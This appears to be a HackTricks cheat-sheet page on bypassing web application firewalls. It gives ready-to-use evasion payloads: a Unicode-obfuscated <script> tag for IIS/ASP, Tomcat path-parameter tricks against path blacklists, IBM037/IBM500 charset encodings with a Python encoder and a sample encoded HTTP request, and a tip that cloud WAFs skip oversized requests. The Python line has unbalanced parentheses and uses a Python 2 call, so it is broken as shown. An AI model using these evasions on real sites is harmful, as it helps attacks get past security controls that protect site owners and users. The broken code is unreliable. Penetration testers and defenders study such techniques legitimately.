3.0 KiB
WAF Bypass
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# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>
# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;
# Charset encoding
application/x-www-form-urlencoded;charset=ibm037
multipart/form-data; charset=ibm037,boundary=blah
multipart/form-data; boundary=blah; charset=ibm037
##Python code
import urllib
s = 'payload'
print(urllib.quote_plus(s.encode("IBM037"))
## Request example
GET / HTTP/1.1
Host: buggy
Content-Type: application/x-www-form-urlencoded; charset=ibm500
Content-Length: 61
%86%89%93%85%95%81%94%85=KKaKKa%C6%D3%C1%C7K%A3%A7%A3&x=L%A7n
It's common in cloud based WAFs that if the payload is bigger than X size, the request won't be checked by the WAF. You can simply use that to bypass them.
Support HackTricks and get benefits!
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Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
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Discover The PEASS Family, our collection of exclusive NFTs
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Get the official PEASS & HackTricks swag
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Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.
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Share your hacking tricks by submitting PRs to the hacktricks github repo.